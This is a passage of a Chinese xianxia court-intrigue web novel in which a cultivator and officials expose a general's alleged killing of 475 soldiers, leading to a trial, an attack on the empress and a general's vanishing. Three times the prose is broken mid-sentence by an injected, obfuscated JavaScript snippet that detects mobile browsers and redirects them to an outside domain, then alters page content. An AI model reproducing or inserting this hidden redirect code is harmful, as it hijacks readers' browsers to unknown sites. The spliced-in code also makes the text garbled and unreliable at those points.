叶边舟方要说她可以撑一个小结界带傅水伤去宿房,不会教她淋了雨。可丘执玉也已匆匆地跑了出去,她也并不知道那宿房在哪里,便坐下来等着。 傅水伤已闭上了眼睛,叶边舟便将手放在她额头上,探入一丝灵力去看。她身体中的毒的确已微不可察,若是毒物所致,此时应当已彻底好了。可若是单纯的淋雨生了病,却又不太像。她实在也看不出什么来,便将手收回。 傅水伤却又开口,“仙尊,能给我倒杯水来吗?” 叶边舟便在指尖凝出一个水团,喂到她嘴边。她闭着眼喝了,才察觉自己并没有碰到杯盏,而是碰到了叶边舟的手指,她便立刻睁开了眼,“……你拿手在外面接了雨水给我吗?” 那和洗手水有什么区别?! “并不是……”叶边舟正要再凝出一团水来给她看,可她又闭上了双眼。 “算了,有的喝就不错了。”她也不讲究,只道,“谢谢仙尊了。” 叶边舟便让指尖凝出的水团消散。她坐在旁边,忽然微微蹙眉,看向门外。迟疑片刻,她又伸手隔空放在傅水伤胸口之上,张开五指,布下一个小结界。 “我出去片刻。”叶边舟道,“你如果有事,只需将手伸出。我会回来。” 傅水伤胡乱点了点头,也没有力气去问什么。叶边舟离开,这里只剩了她一人。她听着外面的暴雨声,还有远处第三营嘈杂的人声。 忽然那些声音都远了,像隔着一层水幕,模模糊糊听不清楚。 然后有人进来了 。 她先感受到一阵阴森森的气息,哪怕她全然不信鬼神之说,也几乎要以为进来的是一只恶鬼。而后她才听见脚步声,那脚步声却停留在门口,不再深入了。 房间好似都在阴森气息里变得更冷更暗了,傅水伤头痛得也更厉害了。她感觉好像真有什么东西要从脑中钻出来,而站在门口那人却忽然转了身,似要离开。 她便猛然睁眼,滚到地上捡起她的刀来,翻身直接朝来人砍了过去。 刀已到了那人眼前,傅水伤才看清是赵得真。 而赵得真却似是全无防备,惊讶地看向她,又迅速从背后取出一支箭来。她并没有时间张弓搭弦,便将弓做盾牌挡住了大刀,又拿箭刺了回去。 “你又犯得什么病?”赵得真怒道,“丘执玉呢?” “我犯的什么病,你不知道吗?”傅水伤也莫名地极为愤怒。她不知怎么,看见赵得真便克制不住地暴躁,听见她说话更是杀意不止。她想了片刻,忽觉得自己想明白了,便道,“难道不是你给我下了什么毒,又支开仙尊来找我吗?” “怎么?怕我杀你。要来先下手为强了?” “你在说什么鬼话?”赵得真从她刀下躲开,离远了一些。她似乎真的全不理解傅水伤的意思,只道,“我哪里会毒?你中了毒不怀疑丘执玉,你怀疑我?” 她已将箭羽搭在了弦上,把弓拉满,正对准着傅水伤。傅水伤却反而握刀向前一步,离她更近了。 “那你倒说说,你此时来这里做什么?” “我自然是来找丘执玉!” 可傅水伤无心听她解释。她握住赵得真的箭夺了过来,大刀已架在了她脖子上。只是她终究在病中,赵得真没了箭,却也能同时将弓弦缠在她脖子上。 “放手!”赵得真把弓弦稍稍收紧,“我可不想与你这种东西同归于尽,实在亏本!” 她看到傅水伤似乎是要把大刀收起来了,便也将弓弦往上抬。她的手碰到了傅水伤的额头,滚烫的几乎有些烧手。 而傅水伤却忽觉得松快起来,疼痛消失,只余难以言喻的舒适。她竟是困倦不已,在这种境况之下也直接闭眼睡了过去。 她脖子还挂在弓弦上,大刀也落了下去。赵得真连忙接过她的刀划断了弓弦。 傅水伤已躺在了她脚下,脖子上终究还是留下一道血迹。她皱着眉轻轻踢了一脚,又弯腰想给她拖回到箱子上去。可她余光忽见身边空荡荡的地方都乍然多出了许多东西。 赵得真便又微微转头,待看清那些东西时便震惊不已,连瞳孔都微微收缩。 许多尸体,瞬息之间堆满了整个房间。 那些被她藏入地下暗室后莫名消失的尸体,此时又凭空出现在此地。他们堆叠在一起,让这不大的空间几无立足之地。 血腥腐臭扑鼻。 赵得真只来得及皱眉,还未有任何动作,又听到脚步声传来。她便急忙抬头,匆匆道:“执玉别进来!” 丘执玉便站在了门口。她皱着眉,虽被这怪异状况弄得惊讶无比。但显然她本也不欲进门,她甚至得极力克制自己转身就走的欲望。 可她忽然看见赵得真脚下的傅水伤,更看到了她脖子上的血痕。她吓得张大双眼,踩着腐烂尸体跑了进来,“赵得真!你杀了水伤?!” 等她碰到了傅水伤,确定人尚且还活着,便才松了口气,又问:“你对她做了什么?” “我能做什么?”赵得真对她这反应很是不满,“分明是她先动的手,她又自己昏倒。——我看她是把脑子烧坏了,再过片刻该要把自己烧死了。” 她尚不明白这满地尸体是怎样的情况,便想让丘执玉出去。可丘执玉摸了摸傅水伤的额头,又将她扶到了那几个木箱上。 她回头看了眼地面,又很快移开目光,与赵得真沉默着对视片刻,忽道:“如今人证物证具在了,赵得真。” “你为何无故虐杀手下士兵?” 赵得真显然还未从这眨眼间涌现的尸山血海中回过神来。她像是愣住了,脸上空茫了一瞬,才咬牙道:“丘执玉,你这是什么意思?” 丘执玉抬头看着她,“你自己做下的事,还要问我是什么意思么?” “你为何要杀第三营的人,又为何要杀宫中侍卫——身任京都卫军大统领,你已然不满足了,是吗?” “我没有杀他们。”赵得真道,“即使我杀了他们。第三营这些人,我难道杀不得吗?” “当年本就该杀干净了,若不是陛下突然反悔……”她忽然安静了下来。她想她分明与危鸣晨说过了第三营 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15012559|161335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的怪事,甚至是危鸣晨教她先将那些尸首藏起来不要声张。而危鸣晨肯定是与丘执玉说了。 她原以为丘执玉不过是来走个过场,她也便跟着演一演,随便安抚一下第三营那帮蛆虫。可此时丘执玉竟真像是要为了第三营那些本就该死的人来问她的罪一般。 “不能满足的是危鸣晨吧?”赵得真忽地笑了,可她笑得颇有几分狰狞,“她如今是皇帝了,当年要置我们于死地的第三营一转头忠于她了——她舍不得这群听话的好狗了?她也怀疑是我背地里所杀,觉得我不够听话,要来教训教训我了?” 丘执玉并未回答。而赵得真一边说着,一边已伸手到背后,去拿最后一支箭。可她的手还未碰到箭身,那支箭忽便自己飞了出去。 它落在门口叶边舟的手上,在她指尖微微转动,又飞出去打在随后跟来的朱向明的大刀上。她那刀才刚刚出鞘,便和飞来的箭矢一同化为了碎片。 而她们身后,第三营的人也已跟了过来,全都愤怒不已地看着门内。 赵得真举着断了弦的弓,看着叶边舟,“是你将这些尸体放出来的?” 那些尸体莫名其妙消失之时,正是叶边舟前去探查的时候。而他们此时莫名其妙出现,又是叶边舟在场。 危鸣晨让她把所有尸体藏在一处,倒正是方便了叶边舟把他们藏在什么法器里,又在此时于众人面前放出来,让她无法辩驳。 这仙尊也是危鸣晨请来的。 叶边舟想要摇头否认。她只是察觉到远处忽然有了一道浓郁的鬼气,便走了出去。还未找到那鬼气,又感到傅水伤从内打破结界,便又走了回来。 可她还未开口,丘执玉就先道了谢,“多谢仙尊了。我们如何也找不出来,还好有仙尊。” 第三营那些人也纷纷兴奋起来,都道:“多谢仙尊找出证据来,赵得真残杀我们第三营的兄弟,必须要付出代价!” 叶边舟微微蹙眉。她初时想这丘执玉似乎并不像傅水伤所说的那样聪敏负责,可很快又隐隐觉得丘执玉不过是故意这样说,好让其她人将一切怪异之处都归功于她,只专心于一件事: 赵得真谋害第三营,意图不轨,证据确凿。 但叶边舟也并未说什么。她不了解这东扶朝堂上在争斗些什么,更无心参与。她只想弄清楚这些人是如何死的,又是被谁所杀。 她看着赵得真。 满屋鬼气与她身上的鬼气融为一体,因她的战意而聚在她身边,随时等待着被她使用。以至于连傅水伤那样容易沾染鬼气的体质,都未能从她身边夺走分毫。 这显然只有唯一的一个可能——赵得真的的确确是个邪修,正是她操纵鬼气杀死了这些人。 可赵得真看起来又是毫无修为的样子,也似乎完全不懂得如何操纵身边的鬼气。 她这么想着,便放出一丝灵力去将赵得真双手捆绑在身后。赵得真自然一边挣扎,一边直接骂出了声,“你爹个畸疤的什么狗屁仙尊……” “闭口莫言。”叶边舟轻声道。 赵得真便说不出话来了。她连嘴巴都无法再张开,只能死死地盯着叶边舟。 “闭目勿视。”叶边舟又道。 赵得真便不由自主地将双眼闭上,眼皮恍若被缝在了一起,无论如何也无法再张开。 还真是毫无修为。 叶边舟便怎么都想不明白了。 19.灵晖郡王 一旁丘执玉已拿出了一个令牌,丢给第三营为首那男人,道:“陛下旨意,自今日起第三营不再归属于京都卫军,直接由雁翎府统管。你带令牌去找雁翎府府司祝泉交接。” 她又看向赵得真,“赵得真杀害京都卫军士兵与宫中侍卫,意图谋乱。押入雁翎府待审。” 犹在门口的朱向明似是要说些什么,她将手中刀柄扔下,蹙眉盯着丘执玉。可她还未开口,先看见叶边舟轻轻抬手,满地尸体便刹那消失。 叶边舟微微抬眼看向她,她便只是嘴唇微动,终究也未能吐出半个字来。 “现在就走。”丘执玉又道。 雨中京都卫军皆剑拔弩张地看着。赵得真闭目不语,她们不知是怎么了,又看向朱向明,可朱向明也同样没有任何指示。 她们便不知该要怎么做才好,犹犹豫豫间,已教丘执玉将人带走了。 第三营那些人迫不及待地想要去抓赵得真。丘执玉便微微蹙眉,将她抓到了自己手里。随后而来的阿阳也背起了傅水伤,把她们两个塞到同一辆马车里。 一行人用了最快的速度,总算在天黑之前赶回了城中。而傅水伤也终于在第二日醒了过来。 她一醒来,便觉得很不寻常。她只觉自己的脑子像是被拎出来洗了一遍,神志清明。而她这辈子从没有这么正常过,浑身一丝杀意也没有。 甚至她摸到脖子上刚刚愈合的伤痕,想得竟是这全因自己不问青红皂白先动了手,完全怪不了赵得真。 她便想丘执玉果真没骗她,那“毒”的确是对她身体好的。甚至好得有些过头了,她怕她多来几次,直接能立地成佛了。 她正想着,便见丘执玉走了进来。而丘执玉也一眼看出她与往日不同,便道:“仙尊说昨日赵得真吸纳鬼气时,连你身上一直沾染着的那些也吸走了。你今天看起来的确很不一样。” 简直都慈眉善目起来了。 “怎么不说我身上的鬼气跟着她的鬼话跑了呢。”傅水伤嘀咕一句,又问她,“我昨日晕倒了?之后怎么样了?” “仙尊找到了那四百七十四具尸首,赵得真被关入雁翎府,第三营也已在城中待命。”丘执玉只简单说了结果,又道,“既然你好了,那后天与我一起上朝去吧。” 傅水伤沉默一瞬,立刻把双眼闭上。她实在很不愿意去上朝,拒绝道:“我没好,我病得严重,后天恐怕也是好不了的。” 可丘执玉当然能看出她在撒谎,便不满地蹙眉,“那我找人抬你进皇宫去。” 傅水伤一身的平和之气瞬间就消失的干干净净了,她觉得熟悉的杀意又回来了,很是不情不愿地说:“究竟是为什么要让我去?上次陪你入宫,结果你和陛下在屋里边吃边聊,让我一个人在外头淋雨。根本也不需要我吧?” “陛下已决定后日亲自审判赵得真,你也需在场作证。”丘执玉向她解释,又不知为何地突然有了几分低落,她沉默片刻,说,“你不是想杀赵得真吗?如今可以光明正大地杀了,怎么还不高兴?” 傅水伤也跟着沉默,很快又问她:“丘大人,你和赵将军关系很好么?” “当然,我们……”丘执玉像是想起了什么很好的过往,目光亮了一瞬,却又很快沉寂下来,改口说,“那是很多年前的事了。如今她要造反,陛下要杀她。” “她们已到了这种地步,我只能帮陛下。” 她这话听起来却像是谁也不想帮的样子,傅水伤便不禁去问:“赵将军到底是为了什么要造反?闲的没事?丘大人你又为什么说只能帮陛下?” “她们之间积怨已久。赵得真不满陛下留着第三营、还有镇国军中那些宣誓永远忠于皇室的人——他们曾害死灵晖郡王;而陛下却觉得赵得真时常以灵晖郡王的事来逼迫她处置那些只忠于她的人,恐怕不安好心。”丘执玉垂目道,“我知道她们在这些事上意见不和。但我以为有当年的情谊在,怎么也不会走到这一步的——甚至几天之前她们看起来都还是一派和睦的样子。可她们只不过是没在我面前说罢了。” 她显然是不高兴了,摇了摇头不愿去想,又回答傅水伤最后一个问题,“陛下一定会赢,我当然只能帮陛下。” “就因为这个?”傅水伤问。 “不然呢?”丘执玉疑惑,“自然是要选择能赢的那一个啊。” 这当然是很正常的,可傅水伤总以为丘执玉像是那种会帮正义啊天理啊之类的蠢……的大好人。 她却也没说出来,只看了看丘执玉,又问:“灵晖郡王是谁?” “是先皇长女,陛下的姐姐,曾经的镇国军统领。”丘执玉提起这人时似乎很是崇敬,连眼神都肃穆起来,“你应当知道陛下十四岁时曾被送去扶摇和亲——那时候东扶还未统一,分为南方扶摇与北方扶疏。” “陛下从小在郡王府长大,当时先皇才刚刚将郡王处决,又迫不及待把陛下也送走。若是郡王在,没人敢送她的妹妹和亲去的。” “好在陛下联系到驻扎边境的郡王旧部——也便是朱将军她们,里应外合灭了扶摇,又一路打回京都。” 傅水伤听着,忍不住便说:“那听起来的确是陛下的错。换我我也造反。” 可丘执玉终究还是向着危鸣晨,只摇头道:“夺位之时与继位之后,所思所虑自然不同。陛下不可能像她们要求的那般不管不顾,一心只为郡王报仇。况且她们也绝不仅仅是为了郡王,她们的确是另有所图。” 傅水伤弄不懂这些乱七八糟,她也懒得弄懂。她只觉报仇果然是要亲自去做的事,指望任何人都无用。哪怕那人和自己有相同的仇人,也一样不能依靠。 而丘执玉似是有些疲惫了。她再也不想多说一句话,站起来走了出去。 到了后天,傅水伤便被迫跟着丘执玉上朝去了。 进到龙泉殿时,危鸣晨还未到。其余人倒是都齐了,就连凌王也坐在前面,傻呆呆地盯着地面。池之澈便站在她身后,轻轻扣着她肩膀,不让她到处乱跑。 傅水伤第一次上朝,不知自己该站哪儿去。她倒想直接站最后面,最好能打个盹,可丘执玉拉着她,让她站在了身边。 这位置离龙椅实在太近,她想若没有池之澈在,她突然想杀皇帝了可绝对是轻而易举。 只希望危鸣晨今天老实一些,别破坏她的好心情。 她方想着,危鸣晨已走了进来。她坐在了龙椅上,傅水伤便极不情愿地准备跪下大喊“吾皇万岁万岁万万岁了”。 可膝盖才刚弯下,丘执玉便拉住了她,小声问道:“你做什么?” “跪下喊万岁啊。”傅水伤上一刻还算是开心,此时已忍不住去摸自己的腰了。 “站着就好。”丘执玉更小声地说,“东扶很多年前就不必在朝堂上下跪了。” “……那她以前为什么要我跪?”傅水伤不解了。连上朝也不必下跪的话,私下召见更不用才对。 “你看不出来吗?”丘执玉扫了她一眼,“她不喜欢你,故意的。” “……”傅水伤无言以对。她看其她人也确实全都站着,至多不过弯腰低头,没有一个要跪一跪的意思,她便咬牙切齿地扶着腰间本该挂刀的位置,往上瞪了危鸣晨一眼。 危鸣晨并未注意到她。她正听着一个大臣说着东方梦尘海一带闹海怪的事,听完后又与其她人商议该如何处理。 朱向明便在此时说话了,“不过一些海怪,让镇国军带兵剿灭就是。” 龙泉殿中忽地安静了下来,全都看向了她。 倒并不是她说的话有什么不妥,不过前天丘执玉将第三营调入城中,又将赵得 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15020157|161335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 真关入雁翎府,此事早已传开。所有人都知朱向明与赵得真情谊不浅,更知今日上朝是要做些什么,虽心不在焉地说着什么海怪,实则都在等着正题。 “可朱将军这几年在西方幻尘海一带剿灭海怪,剿了整整两年,除了白白牺牲上万姐妹,似乎也没什么成效吧?”在丘执玉左侧站着的一个中年女人开口了。 丘执玉便小声对傅水伤解释,“这是雁翎府府司,祝泉。” 这人看起来与朱向明年纪相仿,但并不如朱向明那般高大。她和朱向明对视着,就叫人忍不住担心她要挨打,“朱将军执意要带镇国军送死,究竟是为了什么呢?” “如何没有成效?”朱向明瞥了她一眼,“幻尘海一带已不再有海怪了。” “可伤亡也太大了。”祝泉又道,“灵晖郡王当年只带三百人诛杀海怪,犹能全身而退,甚至无一重伤。怎么朱将军做同样的事,就要死这么多人呢?” 朱向明似是不知如何解释,又像是全然不欲解释。她几乎是用鼻孔看着祝泉,忽然道:“家里死了几个爹让你嘴里阴气这么重?明话都不会说了?想说什么不如直接说出来!” 祝泉正要反击,丘执玉却又开口了。她正站在朱向明与祝泉之间,说的话也像是在帮忙和解,“祝大人身为雁翎府府司,总管军中诸事,常要看着镇国军胜败伤亡的战报,和镇国军早已心系一处,不过是关心罢了。” “我就当她是在关心了,你呢?”朱向明又把她那不屑的眼神对准了丘执玉,“不过一个明镜府的府司,你这辈子见过几个兵?如何就将第三营从京都卫军调走了?” 她倒是很会恶人先告状,转头对着危鸣晨道:“陛下,前日丘执玉忽然带龙泉令将第三营调入城中,甚至还无故将赵将军关押。她说是奉了陛下旨意,难道真是吗?” 她好似是在威胁危鸣晨,要给她一个台阶下,想逼她说一句不知道,便把赵得真放了。 可危鸣晨本就为逼她动手,自然只是点头,“是朕的旨意。” 傅水伤刚想着这皇帝倒确实如池之澈所言,没有准备拉丘执玉踩着做台阶,却又很快听她说,“不过朱将军久不在京中,不知赵将军近日所为。” “明镜府与雁翎府皆与朕说,赵将军不知何故,连日残杀第三营士兵共四百七十五人。第三营世代忠于东扶,难道朕不应该为他们秉正处理么?” “朕与得真年少相识,并肩十余载,朕亦不愿走到这一步。可你不若先问一问祝大人和执玉,看看她究竟做了些什么。” ……这就甩给丘执玉和祝泉了。 之前几次见这皇帝,可从来都没听她说过这么长的话,每次几个字便把丘执玉打发了。如今却这么长篇大论地给朱向明解释,一副生怕被记恨上的样子。 她有些怀疑这危鸣晨到底能不能赢了。她想要真是胜券在握,如何会这么小心翼翼。别的不说,她可是一想到自己随时能轻易杀死这皇帝,便生不出任何敬畏之心来。 还有…… ……怎么就成四百七十五人了?前日不还是四百七十四么?! 傅水伤没忍住去问,丘执玉便答:“入城之后又查了一遍,的确是少了四百七十五人。不过有一人死不见尸,我派人去找了,她们昨日说大约是在京郊悬崖下,那底下很难进入,还要过几日才能有结果。” 她想除了有犯人入明镜府,傅水伤常常是什么也不大关心的,这次却将这么一个数字记得这么清楚,便不由得问:“你问这个做什么?” “……没什么。”傅水伤急忙地要扣赵得真头上,她道,“赵得真她怎能随地乱抛尸呢?我听说有人会到那崖下去采药,万一砸到人了可怎么办呢?赵得真可是好没良心!” 她已心虚得胡言乱语了。而丘执玉也回头看着她,一脸的茫然。 20.明镜台前屠刀慎举 “丘大人?”傅水伤又匆匆说了一句,“朱将军看着你呢。” 朱向明的确是目光不善地盯着这边。丘执玉便暂且没有去理傅水伤,也回头看着朱向明。她道:“赵将军虐杀第三营男兵共四百七十五人,证据确凿。第三营所有人皆可作证,尸首也已由仙尊送入雁翎府,由雁翎府与明镜府共同查验,确认为赵得真所为。” 她又看向祝泉。而祝泉先走到池之澈身前去,向她说了些什么。池之澈轻轻点头,便有侍卫抬了几十具男尸进来。 第三营那首领也跟着,他先向危鸣晨跪拜行礼,而后在祝泉示意下开了口。 “请陛下一定要为第三营做主!第三营世代忠于东扶,陛下继位后也从未有任何逾矩。可赵得真她方一上任京都卫军统领,就开始处处打压第三营……” 他实在是废话很多,祝泉不过是想让他说些第三营都看到了赵得真杀人藏尸的话,可他却从五年前赵得真上位后的琐事一一说起。而祝泉并不似丘执玉那般耐心,很快出声去问:“你们的确是看到了赵得真藏尸,对吧?” 那男人一顿,才说:“是!第三营所有兄弟都能作证!她赵得真……” “那丘大人看看这些尸首。”祝泉又打断了他。 傅水伤正跟着丘执玉去看那些尸首,余光却见那男人一脸不屑地瞥了祝泉一眼,极小声地说了句,“一群女人……” 他到这里噤了声,但没说出口的话,想也不会是什么夸奖。 傅水伤挑了下眉,她手有点痒,可惜她没刀。便只在丘执玉耳边轻声道:“陛下和赵得真再怎么样也不关我什么事,但陛下回头要是不把这个给杀了,我恐怕也得去造个反。” 丘执玉显然是没有那么好的耳力,能听到那极轻微的话语。她便只是对傅水伤“嘘”了一下,“不要乱说话。还在朝堂上。” 想了想,她又重新说:“闭嘴。不要说话。” “我再说最后一句。”傅水伤扫过眼前的尸首,最后看向第三营的首领。她像看尸体一般地看着他,笑得诡异,“一群男人……” 那男人皱着眉,在她的目光里忍不住微微后退。丘执玉却不知她在说些什么,也完全不再理她。她走到了那几十具尸首之前。 这些男尸与其它相比还算是完整,全身也只有额头一处伤口。有的留下一道贯穿头颅的大洞,有的却是直接缺了大半个脑袋。 “这些人皆是被弓箭射杀。”丘执玉道,“而赵将军善于弓箭。” 朱向明立刻便反驳了,“东扶之中善于弓箭的人又何止千百?这也能算作证据?” “但能一箭射穿头颅,这样的力道,可并没有几人能做到。”丘执玉站在那些恶臭至极的尸首中间,很快就有些难受了。她不想再被打断,便半点不停歇地继续往下说,“况且赵将军所用的箭矢特殊。” “她的箭纯铁打造,甚至连箭羽也是。这箭留下的伤口格外不同。”丘执玉从池之澈手中接过了一支通体黑色的箭来。 箭求轻远,这箭却极重且长,再加上几寸的话,简直已可以当做短.木仓来用了。 “整个东扶,恐怕也再没有第二人会用这样的箭。” 她又拿起了赵得真平日里用的重弓,而她仅仅拿着便已然很吃力了。她又很快放下,想去取旁边的普通弓箭,以便与之对比。 可朱向明忽地跨步走到了丘执玉之前,抢先将那弓箭拿去。她又后退几步,一面弯弓搭箭,竟是直接对准了丘执玉的眉心。 “我倒是看不出这些伤口有什么不同。”她神色平静,语调也淡淡,好似突然在朝堂上暴起的人不是她一般,“不如我们现在来试一下,看看究竟是如何不同了?” “朱向明!”皇帝终于怒而开口。她站了起来,可朱向明连看她一眼也没有。 龙泉殿上一片哗然,池之澈拔剑站在了凌王身前,而傅水伤也迅速地夺了丘执玉手中的铁箭,把她扯到了身后。 朱向明却是毫无预兆地转身,一箭朝危鸣晨射去。 “陛下!”唯一能带剑上朝的池之澈又匆忙朝龙椅前跑去。可显然是来不及。 那支箭擦着危鸣晨的耳朵,深深地钉入了墙面,箭羽震颤。朱向明又将弓扔在地上,摇了摇头,似是极为失望的模样,“灵晖郡王在的话,可不会允许你为了一个第三营而对得真出手。” 她起初说话时还带有怒气,犹想要为赵得真狡辩。可证据的确充分,连傅水伤也看得出来那伤口的确是手中铁箭所致。而待她将弓箭握在手中之后,行径虽是张狂,语调却只余平静。 傅水伤便知危鸣晨的目的达成了——朱向明显然已下定决心要造反,再不会有丝毫动摇了。 而危鸣晨却是胸口起伏。她深吸口气,才道:“难道郡王就允许你们对我出手了吗?” “当然不会。”朱向明冷笑道,“郡王在的话,早就亲自出手揍你了。” “你不过是个废物,连为郡王复仇都不敢,又凭什么继承郡王的东西?” “不如给我。” 她说完这些话,竟是直接转身便走。池之澈微一蹙眉,想她此时手无寸铁,立即就持剑追了上去,又一面召羽林军出来。 可她方走出门去,便已看不见朱向明了。她好似是凭空消失了一般,再也找不到丝毫影子。羽林军飞速地集结,也只不过围了个空。 傅水伤也跟了出来,站在池之澈身边。她看着羽林军团团包围下空空如也的地面,不免好奇起来。 朱向明是如何做到的?是轻功极好迅速地躲入了密室暗道中?又或是学会了叶边舟那样的催眠之术? 可羽林军将那空荡的地方也一寸寸地走过了,并无任何异常。那里不可能藏了一个隐形人,也更没有什么密道。 这实在是太奇怪了。她想要去问一问池之澈,转头却看见凌王跟到门口趴在地面,便又想上去扶她一把。 而她却是什么也没做。她停在门口,努力地将手探向背后。她衣服里似乎是突然多出了什么东西,让她背上又痒又痛,无暇她顾。 池之澈没能注意到身后的凌王,走动时便被绊了一下。凌王被她踩到脚,歪头看了她一眼,又很快继续低头看地。 傅水伤终于把背后的东西拿了出来。 是很大的一个硬纸团,不知怎么被塞进了她衣服里。纸团上似乎有字,墨迹未干,沾了他一手。 她眉头紧皱,将纸展开。上面的字糊作一团,她半个也认不出来。 这下傅水伤不只是觉得奇怪了,她几乎觉得可怖。 在场唯一胜于她的应当就是池之澈了,可池之澈始终在她视线里。其她人根本不可能悄无声息地往她衣服里放这么一大团纸。 她抬头看池之澈,而池之澈已扶着凌王回到殿上,把她摁椅子里。羽林军也收队,站在殿外待命。 她又低头去看手中奇怪的纸张,一边走到朱向明消失的地方。她来回看了看,才走回到龙泉殿上,却忽然神思不属起来。 朝堂中又开始吵吵嚷嚷,傅水伤一个字也没去听。她躲在丘执玉身后,只用心地盯着纸上的字,几乎要比盯着地面的凌王更为专注。直到她们把叶边舟与文武成请来,傅水伤才抬起了头。 池之澈说了方才发生的事,询问叶边舟的看法。而傅水伤也听着——她从没这么认真地听过叶边舟说话。 “朱将军是凡人,能瞬息消失的话,想来是用了瞬行符。”叶边舟道。 其她人还未回应,傅水伤却盯着她,忍不住开了口,“那瞬行符对仙尊来说应当也很容易吧?仙尊能否演示一番?” 叶边舟似是被为难住了。她迟疑片刻,才微微摇头,“我不懂符箓。” 她身上倒是有一张,是她母亲叶霜风给她的。倾注了当世最强之人的法力,足以使她从世上任何一个角落回到明真山上。 但这仅此一张的宝贵东西,自然是要到万不得已时才能用的。 傅水伤却要松口气了。她想世上果然还是没有什么法术,骗子也果然只是骗子。可她刚这么一想,又听文武成得意道:“师姐!我会!” 文武成走到了凌王桌前,食指沾水,在桌面上画了道符文。那符文微微发亮之时,她又将手覆盖上去,便一瞬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15037183|161335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 间消失,下一刻就站在了殿外。 傅水伤回头看一眼,又不说话了。她想这么近的距离,用轻功也完全能做到。至于未能看到移动的过程,那一定是叶边舟用了催眠之术。 可还是太奇怪了。她觉得很不对劲,更觉得极其不安。她甚至已忍不住握紧了手里的铁箭,想将一切令她不安的东西都打碎。 上首的危鸣晨亦是难安,她紧握着扶手,也开口去问:“仙尊,那瞬行符能带人走多远?” “普通的瞬行符,至多不过送人到京郊。而凡人难以在虚空中太久,还要更短一些。”叶边舟知道她在忧虑什么,便解释道,“况且制作一张符纸极耗心血,她手中能有三五张便不错了。” 文武成也只敢随手画一个极短距离的瞬行符。而朱向明终究也只是普通人,只需提高警惕加强守卫,她倒也做不了什么。 危鸣晨才放下心来,可依旧是沉着脸。她坐在那里,许久不曾说话,其她人也只好跟着噤声。 而她又忽然站起身来,沉声道:“赵得真残害无辜,虽身为京都卫军统领,亦应遵照律法。” “杀人者死,伤人者刑。”危鸣晨道,“十日后处决。” 她说完,只对着叶边舟点头致意,便转身离开。池之澈也带着凌王跟上。 殿内气氛犹是沉重,文武成却不管她们,立刻诧异道:“可还没查清啊?虽说那鬼气怎么看都是赵得真的,可赵得真究竟有没有修为都还不知道呢。怎么这么着急?” 还有啃食吴小血肉的风狼是哪里来的?尸首自己消失又自己出现是怎么一回事?给了朱向明瞬行符的神秘修道者又是谁?就全然都不管了吗? 傅水伤倒不觉奇怪,这皇帝还说要亲自提审赵得真呢,现在也直接见都不见便判了死罪。她目的本也不是什么真相,不过权力争夺罢了。 “十日后自然便知道了。”叶边舟也只是说,“总归人一定是赵得真所杀,不会冤枉了她。” 那些鬼气不会骗人。而十日之内,朱向明一定会有所行动。那背后的人想必也要到明面上来。 皇帝离去,自然就下了朝。丘执玉带着傅水伤回明镜府,叶边舟也一同离开。她们一起走在出宫的路上,傅水伤便慢吞吞地落在最后。 她低头看一眼手中的纸,又抬头看一眼叶边舟。她看见叶边舟的双手,那手上虽有一些疤痕,但确确实实地没有一丝练武的痕迹。可她拿剑的姿势倒是与池之澈全然一致,像是真的懂得剑法一般。 傅水伤看了好一会儿,又低头看自己的手。她双手都因常年握刀而有所变形,指节微微扭曲。 她便忽然握紧了手里的箭,她倒要再试一试…… “水伤?”丘执玉忽然回头看她,“怎么那么慢?” 她停下来等了等傅水伤,待人走到眼前,又拿过了她手里的纸,“这是什么?你一直在看它,有什么特别的么?” 傅水伤回了神。她却是看向叶边舟,开口说了这团纸的来历,道:“也不知是谁,想要做什么。” 叶边舟蹙眉看了一眼,又与文武成对视一瞬。她凝重道:“但那里所有人实力都远不如你,最强的朱向明也要比你逊色一些。她们做不到。” “难道那个神秘的修道者当时就躲在龙泉殿上亲眼看着?”文武成也同时开口,“那我们到的时候她还在么?要是在的话,连我们都发现不了么?” 傅水伤却是全然不在意这些,她只在意近在眼前的一件事,“怎么会全都远不如我?池之澈不是比我强得多吗?她在长宁街上救过赵得真,轻易就把我打晕了。” “是我将你弄晕的。”叶边舟很是不解,“你为何会以为是池之澈?她比你差远了。她甚至比赵得真还要略差一些。” 傅水伤又把铁箭握住了。而叶边舟也下意识地将手按在剑柄之上,不明白她为何突然之间杀意重重。 好在一无所觉的丘执玉走到了两人中间。她看了许久,终于艰难地把那一行字认了出来,便出声念道: “明镜台前屠刀慎举,有冤之人无口无舌。” “这是什么意思?” 21.金光 傅水伤先把手中铁箭扔下,才转头去看丘执玉。 